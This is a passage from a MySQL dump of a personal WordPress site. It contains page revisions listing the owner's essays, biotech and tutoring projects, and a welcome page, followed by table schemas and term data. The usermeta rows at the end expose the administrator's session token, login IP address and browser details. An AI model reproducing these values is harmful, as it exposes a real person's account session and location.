of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2025-07-03 20:57:37','2025-07-03 20:57:37','',22,'https://trevorklee.com/?p=546',0,'revision','',0),
(548,1,'2026-07-12 17:14:39','2026-07-12 17:14:39','<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><a href=\"http://neutraoat.com\">NeutraOat</a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>There are many environmental toxins we pick up through our digestive tract that are bad for human health, like plasticizers and PFAS.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Many of these are small and hydrophobic.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s possible to modify oat beta glucan fiber to selectively pick up these small, hydrophobic toxins without picking up anything good.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>The evidence</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>1 and 2 are based on the literature.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>3 is a work in progress.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: startup is up and running. Check out the website for more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for certain chronic, age-related conditions</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Some chronic, age-related conditions are caused by [ ].</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>[ ] is a therapeutic which can treat that specific cause.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Combining [ ] with [ ] makes it safer, more effective, and easier to tolerate.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>This will also apply to cats.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>The evidence</strong>:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Studies in [ ] in humans, [ ] in dogs, and [ ] in mice.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some of our previous work.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Running trials and looking for partners. Good so far!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for autoimmune conditions that aren\'t well-treated by biologics</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>A lot of autoimmune conditions are well-treated by biologics. But there are some that fall through the cracks.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>For example, chronic spontaneous urticaria is a condition in which cyclosporine is recommended as a treatment following failures of biologics. My conversations with experts in the field suggest roughly 10% of people fail biologics.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Moreover, in countries with poor healthcare, or in people with poor health insurance, biologics are often unavailable or impossibly expensive.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Cyclosporine is a commonly used immunosuppressant for chronic spontaneous urticaria as well as other autoimmune conditions. However, it has problems, including severe side effects and difficulties with administration.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Combining cyclosporine with [ ]would reduce side effects, make it easier to administer cyclosporine, and ultimately make life easier for people with that condition.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Surprisingly, there are case reports with the combination of cyclosporine and metabolic inhibitors. They show good results, and they show the combination is safe in humans.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>My in-vitro experiment also showed good results.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>My in-vivo experiments have also had good results. Next stop: clinical. </li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status: </strong>patent secured, funding mode activated. Find out more on highwaypharm.com .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My graduate exam tutoring business, <a href=\"http://trevorkleetutor.com\"><span style=\"color:#1e1ecf\" class=\"has-inline-color\">Trevor Klee, Tutor</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: People will pay a lot per hour ($100+) to get tutoring for graduate exams, if they think it will help them get into a good graduate program.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: A lot of people doing it before me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> Successful. It\'s the main way I fund myself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My <a href=\"https://www.trevorkleetutor.com/mcat-academic-coach/\"><span style=\"color:#1313db\" class=\"has-inline-color\">graduate exam coaching business</span></a>, done under the aegis of my graduate exam tutoring business.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: Tutoring involves a lot of wasted time covering stuff people could have taught themselves. There are a lot of people who just want support while they teach themselves, and don\'t need to spend the time/money tutoring requires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I have taught who are mostly running on autopilot (i.e. I more answer questions and have them do homework than teach them directly).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. It\'s been very successful with MCAT students, as the MCAT is a very content-heavy exam which never lent itself that well for tutoring. It\'s been mildly successful with less content-heavy exams, as a lot of people still just want tutoring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My <a href=\"http://gumroad.com/trevorklee\"><span style=\"color:#2a17d0\" class=\"has-inline-color\">graduate exam books</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: There are parts of the exams I teach that aren\'t well covered by the \"mainstays\", and there\'s room to sell books to students still.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I\'ve taught who have gone through the mainstream courses and books, and still have gaps in their knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. The books sell well, and I think the main barrier to them doing better is simply discovery. I\'m currently making efforts to make them more discoverable on Amazon by gathering reviews, and I also sell them on my own website.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"></h3>\n<!-- /wp:heading -->','Current projects','','inherit','closed','closed','','2-revision-v1','','','2026-07-12 17:14:39','2026-07-12 17:14:39','',2,'https://trevorklee.com/?p=548',0,'revision','',0),
(549,1,'2026-07-12 17:15:37','2026-07-12 17:15:37','<!-- wp:paragraph -->\n<p>If you\'re interested in learning more about me, I\'d recommend starting with <a href=\"https://trevorklee.com/sample-page/\" data-type=\"page\" data-id=\"2\"><span style=\"color:#0a4fc7\" class=\"has-inline-color\">my current projects</span></a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, you can also look at <a href=\"https://trevorklee.com/failed-hypotheses/\" data-type=\"page\" data-id=\"12\"><span style=\"color:#0b28c8\" class=\"has-inline-color\">my failed projects</span></a>, because what are successes without failures?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, I\'ve written a lot. A lot a lot. If you\'re interested in philosophy, learning, biology, or general science, you should read <a href=\"https://trevorklee.com/essays/\" data-type=\"page\" data-id=\"22\"><span style=\"background-color:rgba(0, 0, 0, 0);color:#0c2ad7\" class=\"has-inline-color\">my essays</span></a>. For the most up-to-date list of my essays, including my most recent ones, check out <a href=\"https://trevorklee.substack.com/\" data-type=\"page\" data-id=\"22\"><span style=\"background-color:rgba(0, 0, 0, 0);color:#0c2ad7\" class=\"has-inline-color\">my Substack</span></a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'d like to contact me, just email [my first name] @ <a href=\"http://neutraoat.com\">neutraoat.com</a> .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'re interested in what I look like, I\'ve put a photo of me below. Get ready for it!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":38,\"width\":\"262px\",\"height\":\"660px\",\"sizeSlug\":\"large\",\"linkDestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/03/Trevor-Klee-a-full-time-tutor-407x1024.jpg\" alt=\"\" class=\"wp-image-38\" style=\"width:262px;height:660px\"/><figcaption class=\"wp-element-caption\">Wow, what a photo!</figcaption></figure>\n<!-- /wp:image -->\n\n<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>','Welcome to my page!','','inherit','closed','closed','','27-revision-v1','','','2026-07-12 17:15:37','2026-07-12 17:15:37','',27,'https://trevorklee.com/?p=549',0,'revision','',0),
(550,1,'2026-07-12 17:22:59','2026-07-12 17:22:59','<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biotech</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><a href=\"http://neutraoat.com\">NeutraOat: a modified oat fiber to trap and remove PFAS, BPA, and plasticizers from the digestive tract</a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>There are many environmental toxins we pick up through our digestive tract that are bad for human health, like plasticizers and PFAS.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Many of these are small and hydrophobic.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s possible to modify oat beta glucan fiber to selectively pick up these small, hydrophobic toxins without picking up anything good.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>The evidence</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>1 and 2 are based on the literature.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>3 is a work in progress.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: startup is up and running. Check out the website for more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for certain chronic, age-related conditions</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Some chronic, age-related conditions are caused by [ ].</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>[ ] is a therapeutic which can treat that specific cause.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Combining [ ] with [ ] makes it safer, more effective, and easier to tolerate.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>This will also apply to cats.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>The evidence</strong>:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Studies in [ ] in humans, [ ] in dogs, and [ ] in mice.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some of our previous work.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Running trials and looking for partners. Good so far!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">A therapeutic for autoimmune conditions that aren\'t well-treated by biologics</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypotheses:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>A lot of autoimmune conditions are well-treated by biologics. But there are some that fall through the cracks.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>For example, chronic spontaneous urticaria is a condition in which cyclosporine is recommended as a treatment following failures of biologics. My conversations with experts in the field suggest roughly 10% of people fail biologics.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Moreover, in countries with poor healthcare, or in people with poor health insurance, biologics are often unavailable or impossibly expensive.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Cyclosporine is a commonly used immunosuppressant for chronic spontaneous urticaria as well as other autoimmune conditions. However, it has problems, including severe side effects and difficulties with administration.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Combining cyclosporine with [ ]would reduce side effects, make it easier to administer cyclosporine, and ultimately make life easier for people with that condition.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence: </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Surprisingly, there are case reports with the combination of cyclosporine and metabolic inhibitors. They show good results, and they show the combination is safe in humans.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>My in-vitro experiment also showed good results.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>My in-vivo experiments have also had good results. Next stop: clinical. </li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status: </strong>patent secured, funding mode activated. Find out more on highwaypharm.com .</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Education business</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My graduate exam tutoring business, <a href=\"http://trevorkleetutor.com\"><span style=\"color:#1e1ecf\" class=\"has-inline-color\">Trevor Klee, Tutor</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: People will pay a lot per hour ($100+) to get tutoring for graduate exams, if they think it will help them get into a good graduate program.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: A lot of people doing it before me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status:</strong> Successful. It\'s the main way I fund myself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My <a href=\"https://www.trevorkleetutor.com/mcat-academic-coach/\"><span style=\"color:#1313db\" class=\"has-inline-color\">graduate exam coaching business</span></a>, done under the aegis of my graduate exam tutoring business.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: Tutoring involves a lot of wasted time covering stuff people could have taught themselves. There are a lot of people who just want support while they teach themselves, and don\'t need to spend the time/money tutoring requires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I have taught who are mostly running on autopilot (i.e. I more answer questions and have them do homework than teach them directly).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. It\'s been very successful with MCAT students, as the MCAT is a very content-heavy exam which never lent itself that well for tutoring. It\'s been mildly successful with less content-heavy exams, as a lot of people still just want tutoring.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">My <a href=\"http://gumroad.com/trevorklee\"><span style=\"color:#2a17d0\" class=\"has-inline-color\">graduate exam books</span></a></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>The hypothesis</strong>: There are parts of the exams I teach that aren\'t well covered by the \"mainstays\", and there\'s room to sell books to students still.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: Students I\'ve taught who have gone through the mainstream courses and books, and still have gaps in their knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Current status</strong>: Reasonably successful. The books sell well, and I think the main barrier to them doing better is simply discovery. I\'m currently making efforts to make them more discoverable on Amazon by gathering reviews, and I also sell them on my own website.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"></h3>\n<!-- /wp:heading -->','Current projects','','inherit','closed','closed','','2-revision-v1','','','2026-07-12 17:22:59','2026-07-12 17:22:59','',2,'https://trevorklee.com/?p=550',0,'revision','',0),
(551,1,'2026-09-12 22:10:37','0000-00-00 00:00:00','','Auto Draft','','auto-draft','open','open','','','','','2026-09-12 22:10:37','0000-00-00 00:00:00','',0,'https://trevorklee.com/?p=551',0,'post','',0);
/*!40000 ALTER TABLE `wp4v_posts` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_term_relationships`
--

DROP TABLE IF EXISTS `wp4v_term_relationships`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_term_relationships` (
  `object_id` bigint(20) unsigned NOT NULL DEFAULT 0,
  `term_taxonomy_id` bigint(20) unsigned NOT NULL DEFAULT 0,
  `term_order` int(11) NOT NULL DEFAULT 0,
  PRIMARY KEY (`object_id`,`term_taxonomy_id`),
  KEY `term_taxonomy_id` (`term_taxonomy_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_term_relationships`
--

LOCK TABLES `wp4v_term_relationships` WRITE;
/*!40000 ALTER TABLE `wp4v_term_relationships` DISABLE KEYS */;
INSERT INTO `wp4v_term_relationships` VALUES
(21,1,0),
(34,2,0),
(35,2,0),
(36,2,0),
(71,1,0),
(264,3,0);
/*!40000 ALTER TABLE `wp4v_term_relationships` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_term_taxonomy`
--

DROP TABLE IF EXISTS `wp4v_term_taxonomy`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_term_taxonomy` (
  `term_taxonomy_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `term_id` bigint(20) unsigned NOT NULL DEFAULT 0,
  `taxonomy` varchar(32) NOT NULL DEFAULT '',
  `description` longtext NOT NULL,
  `parent` bigint(20) unsigned NOT NULL DEFAULT 0,
  `count` bigint(20) NOT NULL DEFAULT 0,
  PRIMARY KEY (`term_taxonomy_id`),
  UNIQUE KEY `term_id_taxonomy` (`term_id`,`taxonomy`),
  KEY `taxonomy` (`taxonomy`)
) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_term_taxonomy`
--

LOCK TABLES `wp4v_term_taxonomy` WRITE;
/*!40000 ALTER TABLE `wp4v_term_taxonomy` DISABLE KEYS */;
INSERT INTO `wp4v_term_taxonomy` VALUES
(1,1,'category','',0,0),
(2,2,'nav_menu','',0,3),
(3,3,'wp_theme','',0,1);
/*!40000 ALTER TABLE `wp4v_term_taxonomy` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_termmeta`
--

DROP TABLE IF EXISTS `wp4v_termmeta`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_termmeta` (
  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `term_id` bigint(20) unsigned NOT NULL DEFAULT 0,
  `meta_key` varchar(255) DEFAULT NULL,
  `meta_value` longtext DEFAULT NULL,
  PRIMARY KEY (`meta_id`),
  KEY `term_id` (`term_id`),
  KEY `meta_key` (`meta_key`(191))
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_termmeta`
--

LOCK TABLES `wp4v_termmeta` WRITE;
/*!40000 ALTER TABLE `wp4v_termmeta` DISABLE KEYS */;
/*!40000 ALTER TABLE `wp4v_termmeta` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_terms`
--

DROP TABLE IF EXISTS `wp4v_terms`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_terms` (
  `term_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(200) NOT NULL DEFAULT '',
  `slug` varchar(200) NOT NULL DEFAULT '',
  `term_group` bigint(10) NOT NULL DEFAULT 0,
  PRIMARY KEY (`term_id`),
  KEY `slug` (`slug`(191)),
  KEY `name` (`name`(191))
) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_terms`
--

LOCK TABLES `wp4v_terms` WRITE;
/*!40000 ALTER TABLE `wp4v_terms` DISABLE KEYS */;
INSERT INTO `wp4v_terms` VALUES
(1,'Uncategorized','uncategorized',0),
(2,'Top menu','top-menu',0),
(3,'twentytwentyone','twentytwentyone',0);
/*!40000 ALTER TABLE `wp4v_terms` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `wp4v_usermeta`
--

DROP TABLE IF EXISTS `wp4v_usermeta`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8mb4 */;
CREATE TABLE `wp4v_usermeta` (
  `umeta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `user_id` bigint(20) unsigned NOT NULL DEFAULT 0,
  `meta_key` varchar(255) DEFAULT NULL,
  `meta_value` longtext DEFAULT NULL,
  PRIMARY KEY (`umeta_id`),
  KEY `user_id` (`user_id`),
  KEY `meta_key` (`meta_key`(191))
) ENGINE=InnoDB AUTO_INCREMENT=56 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_general_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `wp4v_usermeta`
--

LOCK TABLES `wp4v_usermeta` WRITE;
/*!40000 ALTER TABLE `wp4v_usermeta` DISABLE KEYS */;
INSERT INTO `wp4v_usermeta` VALUES
(1,1,'nickname','trevorkl'),
(2,1,'first_name',''),
(3,1,'last_name',''),
(4,1,'description',''),
(5,1,'rich_editing','true'),
(6,1,'syntax_highlighting','true'),
(7,1,'comment_shortcuts','false'),
(8,1,'admin_color','fresh'),
(9,1,'use_ssl','0'),
(10,1,'show_admin_bar_front','true'),
(11,1,'locale',''),
(12,1,'wp4v_capabilities','a:1:{s:13:\"administrator\";b:1;}'),
(13,1,'wp4v_user_level','10'),
(14,1,'dismissed_wp_pointers',''),
(15,1,'show_welcome_panel','1'),
(16,1,'session_tokens','a:1:{s:64:\"a0d62cb74957b0c3928b778d819856b635b0ec3f64c42761675fe6a07699681a\";a:4:{s:10:\"expiration\";i:1789423837;s:2:\"ip\";s:13:\"82.33.150.149\";s:2:\"ua\";s:125:\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36 Edg/153.0.0.0\";s:5:\"login\";i:1789251037;}}'),
(17,1,'wp4v_dashboard_quick_press_last_post_id','551'),
(18,1,'community-events-location','a:1:{s:2:\"ip\";s:11:\"82.33.150.0\";}'),
(19,1,'managenav-menuscolumnshidden','a:5:{i:0;s:11:\"link-target\";i:1;s:11:\"css-classes\";i:2;s:3:\"xfn\";i:3;s:11:\"description\";i:4;s:15:\"title-attribute\";}'),
(20,1,'metaboxhidden_nav-menus','a:2:{i:0;s:12:\"add-post_tag\";i:1;s:15:\"add-post_format\";}'),
(21,1,'wp4v_user-settings','libraryContent=browse'),
(22,1,'wp4v_user-settings-time','1627312277'),
